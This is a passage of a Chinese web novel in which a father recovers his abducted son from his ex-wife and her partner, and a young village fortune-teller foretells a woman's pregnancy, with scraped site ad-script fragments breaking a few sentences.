相亲是裘贝母亲撮合的,见面后是裘贝主动开口说可以结婚。谢寻当时没父母帮衬,对裘贝也有些没头没脑的喜欢,什么都答应她。 给了很有诚意的彩礼,买了裘贝想要的金首饰,定了婚纱,给裘贝家里换了冰箱电视。结婚不久裘贝态度变了,他只觉得是自己哪里惹她生气。 后来发现她是那样的人,没骂过只委婉建议过,怀疑她前面那次婚姻也是无法沟通才离的,还想着自己教她,试图缓和关系。 之后对方越来越敷衍,回到家只能吃冷饭,想过离婚,可有了孩子,那就各过各的吧……只有儿子他无法让步。 他可以理解不是说一个母亲必须对孩子有深深的爱,但至少要有责任感。 她搞出人贩子这一出,把孩子带走,看来也没有好好对她。谢寻自认为自己父子没有对不起她,那他必须找个公道! 谢寻将道理说给儿子听:“我一定要报警,她可能不会坐牢,但至少要给她个教训,离婚时我分了大半财产给她,可她都没好好对你!” “她对我的欺骗,这些年的侮辱我都要让她道歉,如果不是我坚持要找到你,可能就真的见不到你了。” “我要一个公正的了结,以后就可以把这事放下,开始我们的新生活。儿子,我和她不来往,你可以自己选择,爸爸不会多说一句。” “但这十年不能说就这么算了,这是爸爸明确的态度。” 反正他知道她老家在哪,他寻儿这么多年也有点名气,他还能去找律师,这十年他堂堂正正,裘贝呢? 谢寻表明态度,谢轩能理解,聊完这些,谢寻决定带儿子去游乐园。 “去过吗?没去过我们一起去玩一下,我希望十年二十年过去,你想起爸爸找到你这天,带你去游乐园,可能留下一段美好的记忆,这多好啊!” 谢寻笑着说:“不过爸爸也没去过游乐园,不知道它到底好不好玩。” 他这么说了,谢轩当然答应,父子俩忘掉烦恼,痛痛快快玩了一下午。 晚上吃了饭,谢寻带着儿子找上门,这会也六点多了,谢轩没回家,裘贝一点反应都没有。学校老师应该给她打了电话,但她就好像不知道这事一样。 谢寻跟儿子说:“进去等爸爸沟通,我不多说,带了你想拿的东西就走。” 谢寻敲开门,裘贝看到谢寻一愣,她居然还真不知道谢寻找上门了! “你……你神经啊,你找我干嘛,不准进,我喊了!”她第一时间是往屋里看,好像怕被里边那人听到动静。 “滚,你给我滚。”裘贝拿了把伞打过来,被谢寻一抬手抓住。 裘贝扯了一下,要喊人,这才发现谢寻旁边站着谢轩,她脸一下白了,看看谢寻,又看看谢轩。 学校老师给她打了电话,她没在意,也没问,还以为他早回家了。 发的短信就更没注意了,本来学校要加微信,她嫌麻烦也没加。 谢寻面无表情的说:“让我们进来吧,我和你谈谈。” 裘贝脸色难看,瞪着谢轩道:“我和你什么好谈的,帅裘,你给我滚进来!” 谢寻愠怒:“你给我客气点,现在不谈,明天你去派出所谈!” 他声音不高不低,说得很清楚,房间里终于传来声音:“裘贝,谁来了。” 裘贝仿佛接到指令,脸色发黑的把人放进门,她现在的老公在沙发上动了一下,慢慢站起来,看看谢寻,脸上笑道:“请问有什么事。” 谢寻推了推儿子:“你去把你要带的东西带走。”他给买了个新的行李箱。 裘贝看帅康勤一眼,发飙道:“不准,带什么带,姓谢的你什么意思,这关我儿子什么事,你还要……” 谢寻说:“我明天一定会报警,你愿意的话现在报警也行。” 谢轩担心的看他一眼,拖着行李箱进了自己房间。 裘贝闭嘴,求教的望着帅康勤,对方咳嗽一声,勉强道:“请问你什么事。” 谢寻打量着他,脸色青白,身量不高,还瘦,谢寻多看他几眼,他就忍不住移开视线,色厉内荏之人。 “我叫谢寻,是谢轩的爸爸。”谢寻说,“裘贝把我儿子带走,骗我说是人贩子抱走了,这事你知道吗?” 帅康勤目光游离了一下,和裘贝对视,脸上又挂着笑:“没听过这事,你是说帅裘吧。” 谢寻:“你不知道?不知道怎么改了姓,还改了年龄?” 裘贝顿时要炸,帅康勤看她一眼,她熄火了。帅康勤想了想,说:“毕竟是孩子的妈妈,你也要为帅裘考虑……” 他故意咳嗽几下,想不出下文,又尴尬的瞥了谢寻一眼,装腔作势道:“咱们可以好好谈谈。” 谢寻觉得他可笑,纸糊一样的人,裘贝还紧张起来,到他身边一副听他意见的样子。他居然也好像他能做这个主似的。 谢寻突然有个猜测:“你是裘贝那个好几年没结婚的前男友?” 相亲见面第二回,前岳母就跟他说过,女儿裘贝有个认识挺久的男朋友,那人不能生,分手了。谢寻觉得无所谓,结了婚好好过日子就行。 那会前岳母提过一嘴,裘贝前男朋友是个病秧子。 谢寻琢磨着裘贝和她前男友的表情,突然笑起来:“你——是你带走了我儿子,你俩合伙的!你们生不出是吧,这十年也没有,所以你们就来骗我儿子!” 他说到最后,越猜越真,帅康勤后退一步,裘贝顿时慌张,挡在他面前。 谢寻怒极反笑:“好,好,难怪都怪到我头上,难怪叫我别找了……” “姓谢的!”裘贝一副老母鸡护小鸡的样子,尖声道,“帅裘不是你儿子,是我和康勤的!” 一瞬间谢寻愣住了,马上去看儿子房门,怎么可能,这就是他儿子,他从一小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 点好不容易带大的儿子! 对了,小神婆能算到就说明他俩是真父子。 谢寻看到谢轩面色呆滞出现在门口,马上过去搂住他,安慰道:“别信她,她就爱满嘴胡话,别怕,我们肯定是亲父子。” 他现在知道裘贝嘴里没一句真话,只担心儿子受伤,加上裘贝发慌的态度,他觉得这男的肯定参与了拐走儿子! 谢寻先不管这俩人,只耐心对儿子道:“东西就收拾好了?好了我们先回去。” 他用手按了按谢轩肩膀,目光温和而有力的望着他,谢轩胡乱点点头,被他推着走到门口。谢寻突然转过脸,与帅康勤对视。 “我身上带了录音笔,你现在敢承认吗?裘贝刚说的这句话。” 帅康勤这人就是个花架子,装模做样说两句还行,承担责任,他不敢的。 果然帅康勤眼神慌乱起来,谢寻拿出录音笔,再次逼问:“你重复一下裘贝刚刚说的那句话。” 谢轩在他旁边,渐渐稳住心态,也转头看着裘贝和帅康勤。 气氛僵持,裘贝慌张的推了推帅康勤,后者声音低弱道:“这个我,我不太清楚……” 谢寻笑了,他拍拍儿子肩膀,平静道:“明天请个假,我会带警察来找你们。” 谢轩肩膀缓缓松下来,他与爸爸对视一眼,露出一个笑容。 他是爸爸的儿子,他姓谢,名字叫谢轩! 谢寻按捺住情绪,搂着谢轩肩膀,走到电梯口,笑容如常道:“刚刚是不是有点害怕。” 谢轩点点头,谢寻说:“别怕,咱父子俩好事多磨,我看出来了,当时把你抱走的,肯定是这个康勤!” 谢寻深深吸一口气:“当时是有人看到他的,只是没细想,警察猜他路上用大衣裹着你走的。” “你那会能跑能跳,他带你走,肯定要吃东西,住宿,最后不管到哪落脚,怎么和裘贝汇合,一定能有线索!” 谢寻越说越快,激动道:“儿子,我想现在就去报警,你支持爸爸吗?” 谢轩点点头,对谢寻满怀信任:“我,我支持你,爸爸。” 他觉得他或许有点冷血,在明白他爸爸一定要报警后,很快就说服自己。他想妈妈会是什么反应呢?她一定会愤怒咒骂自己吧。 但谢轩更不想爸爸伤心,只短短的一天,他的心已经和爸爸贴在一起,好像他们从未分离。 是妈妈做错了事,他不能因为心软就让爸爸放弃追究这十年的痛苦! 很快,谢寻带着儿子去派出所报了案。他手机关于儿子丢失的消息全都储存了,一五一十说出来,录音不能作为证据,但也提了一嘴。 结果警察赶到的时候,裘贝和她现在的老公居然想着连夜逃跑,已经在收拾行李。 跑得了和尚跑不了庙,这两人怎么想的,以为跑了谢寻就不追究了吗? 谢寻再次怀疑裘贝脑子有问题,她那个老公也好不到哪去。两人一个敢说,一个敢信,谢寻甚至怀疑十年前儿子被拐,他俩一拍脑袋就做了决定! 偏偏他就被这样的人骗过去,生生耗费了十年光阴…… 21. 丢失的孩子 现在谢寻还有个问题,他问裘贝:“你妈知道是你拐了我儿子吗?” 裘贝闻言发狂:“你滚,滚啊,我妈不知道,我妈瞎了眼,我为什么要和你结婚,我为什么要和你结婚!” 她瘫软在地,大哭起来,谢寻忍无可忍:“是我逼你结的婚吗?” “是你们骗婚!”谢寻眼眶泛红,为自己遇到这糟心事,“你告诉我你不愿意,我根本不会和你结婚!” 谢寻看裘贝只觉得她可笑,一切都是别人的错,只有她和她老公是被逼的。 所幸谢轩安慰他,告诉他:“我没见过外婆,我以为我是他们亲生的,但她从不带我回外婆家,也没有联系。” “有一回她和外婆打电话,外婆催她去做个试管,说别管继子如何,总要有个亲生的孩子。她一点也不反驳,只讲以后再说。” 谢轩缓缓回忆:“帅……他对我比较冷淡,我猜我可能是领养的。但我妈又老是说生下我,一点都不像她什么的。” “我觉得,我可能是她和老家那边的人生的私生子,假装是帅——的孩子,所以她从不带我回去,她妈妈也不问我。” “我其实很早有心理准备,因为我妈说生我就是为了养老。我有时觉得她是故意这么说,有时又觉得,我可能真的就是私生子。” “如果哪天她告诉我我是领养的,我也可以接受。” 谢轩说出这些话,心里好过一点,笨拙安慰道:“我觉得外婆没骗你,她和我妈不是一伙的。” 谢寻心疼,这孩子怎么这么敏锐,都能知道他是纠结这个。 怎么跟他说呢?不管前岳母知不知道,事情出来,她肯定是站自己女儿那边。就算谢轩是她外孙,这么多年也没感情基础,她可能还会来劝他。 谢寻吁了口气,没事,有他和儿子相依为命,他永远最爱儿子! 谢寻给他前岳母打了电话,从头到尾说了这事,惊得对方一时无语,接着才咒骂起来,骂她女儿不省心,祸害人,又道歉,又说想和外孙视频。 前岳母是个精明人,不让气氛尴尬,对谢轩很是关怀,但前头说得好好的,最后还是忍不住,犹豫问:“那裘贝这个事,最后怎么办?” 谢轩下意识看着他爸,谢寻只在旁边沉默不语。 前岳母是个识趣人,叹息一声,捡起笑容,跟谢轩说要寄点自己做的小吃给他,要他好好听爸爸的话,爸爸找他这么久,不容易。 前岳母这边就算解决了,以后谢轩是她外孙,关心不会少的。 私下里谢寻又和她打了电话,才知道裘贝这是什么孽债! 原来裘贝和那个帅康勤还是高中同学,裘贝小时候脾气怪,对外还是乖的,不知怎么和姓帅的搅合在一起,‘被他迷了心窍’,谁的话都不听了。 后来大学没考上,说要出去打工,前岳母早早给她找好轻松工作,她呢和人家住在一起,没多久说要结婚。 前岳母很不满意,觉得对方身体看着不太好,个头也不高,有什么事都哄着裘贝出头,偏偏还能做裘贝的主。 可女儿要死要活,僵持了一个多月,只能答应了。那会很多夫妻年龄不到,都是先摆酒,再结婚。 女方这边同意,男方那边却反悔,原来突然说要摆酒,是为了裘贝经期没来,以为她怀孕了,谈婚事可以少给彩礼。 僵持这一个多月,裘贝经期来了,男方家里就改口,说他们老家习俗,得怀孕了才能结婚。 前岳母气得头晕,偏偏裘贝不在乎,闹死闹活跑出去和人同居,这么着从十九岁一直到二十五岁,六年都没怀。 这会裘贝甚至搬到男方家里,年节都是回那边,俨然已经是夫妻。 她名义上的婆婆不喜欢她,成天指桑骂槐,吵吵闹闹,到后来年年催她吃中药,吃得人都不对劲了。 前岳母看不下去,哄着那姓帅的也去检查,结果好了,不能生的是他! 前岳母很生气,女儿被折磨得不爱说话也不动弹,就跟那姓帅的还有话说,还想着他,上辈子欠他的不成! 前岳母威胁对方再上门就把他不能生这事传出去,那人就不来了。 她带着女儿去打工,养了一年,人白白净净,性子好多了,安安静静的,平时就看点小说。前岳母说给她介绍个对象结婚,她也同意了。 “我是真不知道她又和那祸害搅和上了。”前岳母叹息叫屈,“后来我一眼看中了你,觉得你高高大大,稳重踏实,几多好,她自己也看中了呀!” 前岳母表情愧疚:“真是对不住你啊,谢寻,她把外孙带走了,这十年我也瞒着,我还真以为那是姓帅的领养的,我还劝她做试管生一个。” “结果那祸害是做试管也生不的,我就说你都这样了,还来祸害我女儿,现在搞出这种事……” 谢寻知道原因了,内心毫无波澜,他也和裘贝当面谈过。 这不是他的错,是裘贝脑子有问题。离了婚,领养也好试管也罢,这都不关谢寻的事。结果她伙同情夫拐了孩子,得了大笔钱,十年就看着谢寻疯狂找儿子。 甚至她为了跟情夫卖好,一直说谢寻对她多么不好,结婚那几年是坐牢,是虐待。对方说几句你受苦了,她渐渐还信以为真。 无耻至极! 不过总算找到儿子,谢寻已经心满意足。 没多久他把儿子找到的消息发到各个群里,着重介绍了小神婆,讲明白她现在看不太远,要找孩子得看运气,他和郗芳运气不错,大家可以去看看。 他说:这位小神婆在攒功德,可能现在看不到,过一年两年,说不定就看到了,大家要联系她,一定客气一点,这是真有能耐! 谢寻不厌其烦,反复强调小神婆的特殊,群里很多人信了,拼命加曲欣微信,打她电话,这个谢寻提前跟曲欣说好的。 当然也有人不信,觉得神婆神汉都是骗人的,这就各有各的缘法了。 他和郗芳聊过,对方还在路上,谢寻找到孩子对她是一份定心丸,让她满怀信心。 她和谢轩聊了一会,看他的眼神闪着光:“好,真好,好孩子,以后和爸爸好好过。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 透过谢轩,她仿佛能看到自己的孩子,差不多的年纪,她儿子正在等她! 不久,谢寻带着儿子来找小神婆道谢,又带他回老家摆酒。谢寻父母去世早,只有几位叔公长辈,看到他找回孩子,也是唏嘘。 改名字和年龄都顺利,谢寻拿到户口本,谢轩学籍也转过来,因为他成绩不错,谢寻选了个好学校。 这会正值期末考试,谢轩跟着考了一场,父子俩有一个暑假的时间培养感情。 这期间谢寻关注着裘贝和帅康勤的事,帅康勤估计要坐牢,短短时间里,裘贝跟疯了似的,一直说是自己逼他的,后来又改口,说是自己抱走的,跟他没关系。 她脑筋不清楚,都这样还反复改口供,但事实如此,狡辩是没用的! 前岳母带着儿子去看她,劝她,她看到人就怒气冲冲,口不择言说都怪她,是她让她结婚才害了自己,前岳母很是伤心。 前岳母告诉谢寻,帅康勤家早放弃了他,生不出儿子,那就没用。他人都靠裘贝养着,但裘贝也脑袋不清醒…… 现在老家知道他俩做的那事,都在同情谢寻父子。 谢寻的故事告一段落,回到曲欣发现他儿子是被前妻带走的那个下午。无事可做的曲欣打开袁阿婆微信:“阿婆我来你家玩吧,我刚又看了一次命!” 袁阿婆快活的声音道:“欣欣你来啊,我正想找你呢,我老姐妹的女儿得让你看看!” 曲欣:“那你等我,我马上来!” 曲欣上楼带上充电器,下楼发现一楼房间门开着,楼下租房读书的两姐弟中的姐姐陈捷从里边走出来,看到她礼貌打了个招呼。 陈捷现在高二,来年就是高三。这女孩长得非常漂亮,平时有点高冷,据说成绩特别好。她还有个弟弟陈扬六月中考结束,房子刚租不久。 没有意外的话,两姐弟会在曲欣家楼下住到高考结束。 曲欣对她笑了笑,跑去袁阿婆家,袁阿婆还没回,她说她本来是在附近公园玩,没想到遇上她已经去世的老姐妹的小女儿,两人就聊了起来。 这小女儿姓赵,叫赵愔,聊着聊着,袁阿婆得知对方结婚七年,一直没孩子。夫妻双方身体健康,医院检查过无数次,都说没问题。 本来结婚三年没动静,对方还没多想,但赵愔两个堂姐妹前后脚结婚,第二年都有了孩子。又过两年,她最小的堂妹也结婚怀孕了。 大年初二回娘家,前边哥哥姐姐孩子有读初中的,读高中的,下边弟弟妹妹也人均一个孩子。 小孩聚在一起吵吵闹闹,她老公性格好,一点也不觉得烦,主动帮忙带小孩。 “她就觉得吧,她老公肯定是想要孩子的,但没孩子从来没说过,包括她公婆也没问,这一家人和和睦睦,家里生意也不错,就是没孩子!” 现在结婚七年了,结婚前也有两年,赵愔和她老公不是说人生的意义就是为了孩子,公婆也很体贴……但朋友偶尔会问,年节娘家也忍不住担忧。 “现在就等你生个孩子,我也能放心去见你妈了。”她爸说。 22. 多年没怀孕 慢慢的,赵愔焦虑起来,和她老公又去医院系统的检查了,医生还是那句话,两人身体都没问题。 两人去做那个精子卵子互相排斥导致的免疫性不孕,仍一切正常。 婚后第五年,夫妻俩开始吃中药,吃了大半年,又积极运动健康饮食,还是没动静。 原本几个朋友年年约出来玩,之前各自带着小孩,这两年不带孩子了,怕给赵愔压力。平时也尽量避免聊到孩子的话题。 袁阿婆大声道:“要我说这孩子有早有晚,既然身体没问题,根本不用急,她今年也才33岁,人家四十岁生的也一大把。” “你来给她看看,让她放宽心啊,我也跟她说了你现在还看不了太远,但孩子肯定是有的!” 私下偷偷给曲欣发微信:欣欣你看看命里有没有孩子,能看吗? 曲欣回:能,大概命数能看的。 袁阿婆放心了,她觉得她这个侄女很焦虑。虽然嘴上说不急,说公婆体谅,老公宽慰,但整个人明显很在意,聊着聊着就叹气。 袁阿婆指出来,赵愔说她在家都要注意着,不想叹气被家人听到。 袁阿婆:“你老公怎么说,这也可能是他的问题啊!” 赵愔苦笑:“就是没说,我们大学同学,恋爱好几年,他不想我老是烦着这事……但我看他也是,有点急。” 袁阿婆还能说啥,转头对着曲欣一阵夸,说她天眼啥都能看到,自家侄女身家清白,不是那种不积德的,孩子肯定会有,说不定年尾就来! 她领着对方到家,曲欣正在沙发上啃冰淇淋,听到动静马上坐直了,冰淇淋不能扔,就这样吧,今天她是青春活泼的小神婆。 曲欣露出甜甜笑容,和对方打了招呼。赵愔气质温婉,面容姣好,打扮也很优雅,看到曲欣只愣了一下,马上回以微笑。 她坐下来,很耐心的和曲欣聊了会天,袁阿婆泡好茶,曲欣也丢掉手中蛋筒纸。 曲欣其实心里有数了,开门见山道:“年末会怀孕,你婆婆公司最近效益不错,年底业绩暴涨,会挣大钱。” 赵愔一愣,顿时往前凑了凑,急切道:“真的吗?那孩子……” 曲欣:“孩子不着急,继续备孕就行,你婆婆公司这个不要错过啊,赶紧投钱扩大规模,到时三个月抵你们近五年收入,可以多捐点款。” 可能还不止,她看了个大概,年底财运滚滚啊。 曲欣顿了顿,补充道:“这个积功德的。” 赵愔有点懵,她还是更关心孩子的事,这位小,小神婆年纪太小了。如果不是袁阿婆一直夸,之前也确实有一位米神婆,她真不会信。 可现在对方说她年底就会有孩子…… 赵愔关心道:“请问之前没怀孕是什么原因?”她其实都有点怀疑自己和丈夫是免疫性不孕,只不过医院没检查出来。 曲欣认真说:“缘分没到吧,反正年底缘分就来。主要这个公司扩产的事,你婆婆可能考虑很久了,你回去说支持她,这个真的大赚啊!” 她仗着年纪小,装作看不出对方最关心的点,把孩子说得跟想要就有似的。主要是看出来她今年能有子女缘,那最迟十二月也能测出来。 别太有心理压力,放轻松点可能来得更早。 曲欣觉得今年对赵愔其实是个好年,孩子财源大丰收。 转头一想,自己最近也顺利,找上门的都恰好能看到转机。 赵愔:“……” 她不由笑了一下,温柔的说:“好。” 不知为什么,看眼前小神婆的表情,她觉得孩子好像真的要来了。旁边阿婆也为她高兴,仿佛小神婆金口一开,万事大吉。 赵愔心里有点轻松,又有点好笑,常年累积的阴云似乎消散,年底缘分就会来,真好。 她轻轻握住小神婆的手,笑着说:“等我有消息了,一定来谢谢小神婆。” 曲欣觉得赵女士真美,笑起来真有韵味,她真心实意的说:“你和你婆家平时都有积德,等你怀孕了再找我,到时我能看得更远。” “我相信你孩子一定会平安健康的。” 赵愔有点感动,低头笑了一下,眼眶湿润。 她身上没带红包,微信加了曲欣转账,袁阿婆非常高兴:“我就说这个不用急,你看,缘分说来就来!” “你可别觉得我哄你,回家问问你爸就知道了,米神婆当时可是什么都能看!” 她拉过曲欣的手,自豪道:“咱们小神婆继承了她的天眼,不会错的!” 赵愔点头笑:“嗯,我信!” 三人聊了会天,袁阿婆说起米神婆以往种种事迹,脸上放光道:“除了德行太坏的人看不了,咱们普通人遇到米神婆,那真是改变一生命运。” “所以要做好事,积功德,好人会有好报的!” 赵愔回到家,心情还行,她开了红酒喝,想起小神婆说的婆婆开公司的事。 她婆婆公司是做小家电的,公公和她老公则开的建材公司。婆婆性格风风火火,很有事业心,原本在家里公司工作,和公公意见不合,很是生气。 聊过之后,公公出资给她开了这家公司,到现在也六年了。 婆婆本来就不怎么管儿子儿媳的事,表达爱的方式是发红包。有了自己事业更是每天忙得不见人影,十天半月家庭聚餐,每次都满面春风。 赵愔羡慕婆婆这豁达争先的性格,她自己在幼儿园当老师,和小朋友处的不错,让她做生意是不成的,她没这个能力。 赵愔夫妻和公婆也不住一起,孩子的事,公婆半点不多问。 赵愔知道这中间她丈夫出了力,赵愔大学认识他,觉得他细心又体贴,有同理心,结婚七年,她确实都没怎么受委屈。 除了没孩子,其他一切都好。 赵愔自己喜欢孩子,不然不会选择当幼师。她爸现在身体不太好,糖尿病,没了老伴人老得飞快,一想起来就念叨她孩子的事。 往常赵愔都默默放在心里,今天好多了,还有心思想她婆婆开公司的事。 不久她老公回来,觉得她心情不错,赵愔说起去看神婆的事,笑吟吟道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“年纪挺小的,她外婆以前挺有名。” “她说我年底就会有孩子,我们捐笔钱吧,她只收了我一点点……说想再给捐出去就行。” “婆婆公司想扩产和你说没,我去看孩子,小神婆一直跟我说婆婆公司年底会赚大钱,直接说了三个月能抵近五年收入。” 赵愔越说越觉得是这么回事:“一般算命哪会跟你讲这么明白,还有确定的时间,只有她,过来就说我年底孩子会来。如果不来呢?” 赵愔说着说着眼笑眉舒:“肯定是真的,我跟你讲,她之前看人一看就知道得了癌症,还有帮人家在隔壁市找到了突然没消息的孩子……” 赵愔她老公在旁边吃饭,笑眯眯看着她情绪高涨,句句有回应。 赵愔说得嘴都干了,回神推了推丈夫:“那你说呢。” 她老公:“好,等下就捐款。” 赵愔:“还有呢。” 老公:“给我妈打电话问要不要支持。” 赵愔眼睛弯弯,挨着她老公:“最近都早点回来,不准抽烟喝酒。” 赵愔加了小神婆微信,时不时想看看她在做什么,可惜小神婆不怎么发朋友圈。她偶尔下班会去袁阿婆家里坐坐,听袁阿婆讲讲小神婆算命的故事。 小神婆真的很厉害啊!每一次她都这么跟自己老公说。 赵愔婆婆公司选择了扩大规模,到八月末接了个外贸大单,整个人神采焕发。 赵愔老公跟着忙了一阵,回来搂着赵愔说:“这个单做好了,我可能会去我妈那里做事。” 赵愔笑道:“妈现在也迷信了。” 她老公听了诸多小神婆经手的改命事迹,现在也比较重视:“她还说约个时间去见见小神婆……你上次去看,家里也没当面道谢,不够庄重。” 他觉得赵愔心态越来越好,人肉眼可见的放松了,偶尔两人讨论着孩子怎么还不来,口吻很轻快。 这样就好,他也觉得孩子说不定很快就要来了。 赵愔顿时坐起:“现在就可以约啊,不如我们全家都去一趟。” 做生意的本来都有点迷信,原本只拜拜关公,现在有个名声渐起的小神婆,老一辈的米神婆也事迹可考,马上行动起来。 大家定了个日子,带足礼物,曲欣顺口约在家里,这回不幸被她回来拿东西的妈逮到,当场脸色有点难看。当然,嘴上没说什么不好听的话。 曲欣悄悄对米秀说:“袁阿婆老姐妹的女儿,没办法才找我的。” “这也算村里熟人嘛。”她一脸无辜,“我就帮忙看看。” 米秀戳了戳她额头:“回来跟你算账。” 米秀和赵愔一家子礼貌寒暄,拿了东西走了。曲欣也有点头疼,不管怎么说,大部分人看过后都会再带着礼物上门。 这礼物不好处理,她现在看的人多了,回头送东西的也多。曲欣考虑在外边租个房,但租在莲花村说不定会被她妈发现。 租远一点,那她还得来回奔波,不嫌累呢。 要不租学校附近?曲欣思索中…… 23. 多年没怀孕+婆婆非让离婚^^…… 赵愔一家人都很客气,曲欣挨个看了看,家和万事兴,可能有点小波折,问题都不大。 曲欣也不高深莫测,直接道:“阿公去医院体检下身体,小毛病,饮食上注意点就行。阿婆事业上会进一个新高度,接下来两年都比较顺利。” “太具体的我目前看不到那么远,有需要可以过一年再来找我。” 说着曲欣面向赵愔,露出一个真诚的笑容:“恭喜,缘分已经来了,大概九月初就能测出来。” 赵愔表情肉眼可见的惊喜,手紧紧和她老公牵在一起。 一家人喜笑颜开,总算了却一桩心事! 不管是男是女,孩子来了,心里也放松了。当下要给红包,曲欣没有袁阿婆在身边,推辞两下,收下了。 晚点曲欣她爸钓鱼回来,看到屋子里一大堆礼物,登时吓一跳:“你这又是哪来的,还不快收好。” “妈妈已经知道了,晚上估计要问我。”曲欣翻出个水蜜桃给他,“吃这个,很好吃。”一盒八个,又大又甜,咬下去舍不得停。 曲超笑道:“你下回跟你杏姐娄姨说一声,发现你妈不在超市就告诉你。” 曲超吃了桃,也觉得这桃子不错,父女俩随口聊了点钓鱼的事。 这边赵愔一家人准备回家了,一路上婆婆挽着他,老公护着他,公公前边开路似的时不时往回望,大家脸上洋溢着笑,简直合不拢嘴。 婆婆先苦思冥想,说了一些孕期要注意的事项,说着说着乐道:“我也忘得差不多了,回去好好学习一下!” “我是生完他,自己一点没累着,全被我婆婆接管了。婆婆怎么说,我就怎么做,全程不想事。” “愔愔你指望不了我了,我给你找育儿嫂,要最好的!到时再找个帮衬的阿姨,要不直接去月子中心,我出钱。” “哎,什么你出钱。”公公笑着,故作不满意,“我俩出钱,不然等我孙子孙女长大了,一问爷爷你怎么只让奶奶出钱啊,那我怎么办。” 上了车,又讨论起给孩子取名的事,老公短短时间内想好了两个,男女都有。公公觉得不太行,太深奥了字也难写,到时上小学,写名字为难怎么办。 最好笔画简单,寓意好又朗朗上口,不会被同学们取外号…… 婆婆笑着说:“你看你最近是不是玩那个抖音了,我都忙死了,你每天关注这些。” 公公说:“这孩子长大说不定就要遇到的事,我关心关心嘛!” 赵愔含笑与老公对视,发现他在那笑着,一家人上车五分钟了,车还没开,大家也没发觉哪里不对。 车开出莲花村,赵愔终于想起要给她爸打电话。刚说没两句,她爸爸就兴奋的叫起来:“那太好啦,等我明天抓两只老母鸡来看你!” 他原本在打牌,这会牌也不打了,在那边嘀咕,又说:“哎这个怀着孕能不能吃老母鸡啊,我找你姑问一下。” “现在是几个月了,你幼儿园先请个假吧,有没有想吐啊?” 赵愔笑道:“爸你先别急,我之前不是跟你说,我请米神婆的孙女看了嘛,刚刚知道的消息,还得等七八天呢。” “你先别跟人说,我测出来再告诉你,你可别吃你那红烧肉了,真的,你要是脚上又烂了,到时你外孙外孙女问你怎么办。” 人上了年纪,偏有个要忌口的糖尿病,没老伴管束,哥嫂工作也忙,她爸脚上去年就烂了一回,治好了,上个月她哥说又有点溃烂。 这事她爸很心虚,连连点头答应:“不吃了,我肯定不吃。” 公公听了要和亲家公聊天,过去家里都不提孩子,现在还没检查出来,大家好像都觉得板上钉钉,这下乐开怀,热烈讨论起来。 主要也是赵愔最近心态变了,自己随意提了两回,不像过去隐隐焦虑。 赵愔婆婆则摸出手机查注意事项,跟她说要多吃哪些东西,补充各种营养,要吃叶酸……回头打印出来,贴在冰箱上。 懊恼自己懂的真不多,有没有那种怀孕前期上门,能照顾好一切的月嫂? 转头一看老头子拿着赵愔手机,和他亲家说个没完,想板起脸,又忍不住笑:“你们说完没有,怎么还说到满月酒了。” 老头子一抬头,看到外边商铺,就说:“停车,我去买个彩票。” 又说想买爆竹,会不会惊到孩子啊,买彩票也不行,不缺这个财运,但他就想买个啥,喜庆点带回家! 最后买了套房,记在赵愔名下,婆婆送了整套金首饰,一对白玉镯。 到九月二号,早孕试纸检出两条线。不久去医院,孩子确实来了。 赵愔喜极而泣,对小神婆感激万分。 回到七月初,曲欣正在超市帮忙,她爸妈跑货源去了。 曲欣和娄姨聊了会天,娄姨说:“谢寻啊,特别高兴,说要带我全家去旅游,送了我挺多东西,说等年底有空一起去也行,我小儿子和他儿子最近玩得好嘛……” 娄姨感叹:“他对他儿子真是方方面面都想到了,多亏有你。哎,小神婆,石三那边现在还没动静呢。” 曲欣刷刷扫码:“娄姨,超市你叫我名字就好啦。石三叔我也不知道。” 娄姨神神秘秘道:“石大爷一直盯着呢,石三现在没空想儿子的事,听说他那癌症发展特别快,去了首都,石三还想他前妻去照顾呢。” 曲欣表情不认同,娄姨说:“他前妻才不理他,自己去医院全套体检,没事就回来继续上班了。我看她是比以前开心多了。” 曲欣点头,旁边收银台的康胜竖着耳朵听。他最近也隐隐听说小老板会算命,开了天眼什么的,他还回家问他妈。 他妈就问他平时和小神婆打照面,小神婆说什么没有。 康胜:“能说什么……你儿子我身体健康,没癌症的。” 他妈白他一眼:“你也算本地的,你就偷着乐吧,小神婆没说啥,说明你最近没大毛病。当然你也就那回事,发不了财,不被小神婆看出来血光之灾也挺好。” 康胜心里嘀咕,那他以后还想当歌手呢,小神婆能看出来吗? 看不出来,是不是说他未来理想失败了啊…… 这会他忍不住插嘴:“欣姐,那您能给我看看吗?”他喊小神 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 婆有点尴尬,干脆用个‘您’,认真表达他的敬意。 娄姨笑道:“你要看啥,看未来老婆?时候不到别随便问小神婆,而且你有钱不。” 曲欣看他一眼,发现他胖了点,额头冒两颗青春痘,整体仍瘦得不行,未来职业是演员,不过时候还没到…… 康胜听到钱字,哎了一声,他家还在攒钱还边角债呢。他脑袋坏了,不都说小神婆要攒功德,不可能白看的嘛。 康胜瞅着曲欣,笑嘻嘻道:“那等我攒了点钱,我找欣姐看看我未来有没有当上大明星。” “……”曲欣忍着笑,“可以哦,我看好你。” 这会一个小女孩拿了包辣条和娃哈哈来结账,娄姨看到她就说:“小云啊,你怎么不在你家小卖部拿,还跑这买呢。” 小云嘴巴动了动,乖巧道:“阿婆,我妈给我钱,让我随便买的。” 娄姨:“……你奶不让你吃是吧。你妈也太老实了,她说不让就不让啊,你偷偷吃几个她又不知道。” 小云看她一眼,摇摇头,付了钱,拿上东西跑了。 这会人不算多,娄姨就跟曲欣聊:“这一家三口都老实,就她奶,那个卞阿婆,真是不像话,自己每天打牌开心,回来就折腾她儿子儿媳。” 曲欣也无聊,一边收银一边听着,卞阿婆她有印象,嗯,风评不太好。 “他家小卖部开在自家楼下嘛,让儿子儿媳看店,每个月一毛工资都没有,平时给点生活费,好像她是慈禧老太后,掌管家里杀生大权。” “我是看不过眼,她儿子笨了点,对她孝顺啊,儿媳妇性格也好,就她每天这不高兴,那不高兴,现在拿小云做借口,连自家店里零食都不给吃。” 曲欣想了想:“是那个平丽阿姨吗?” 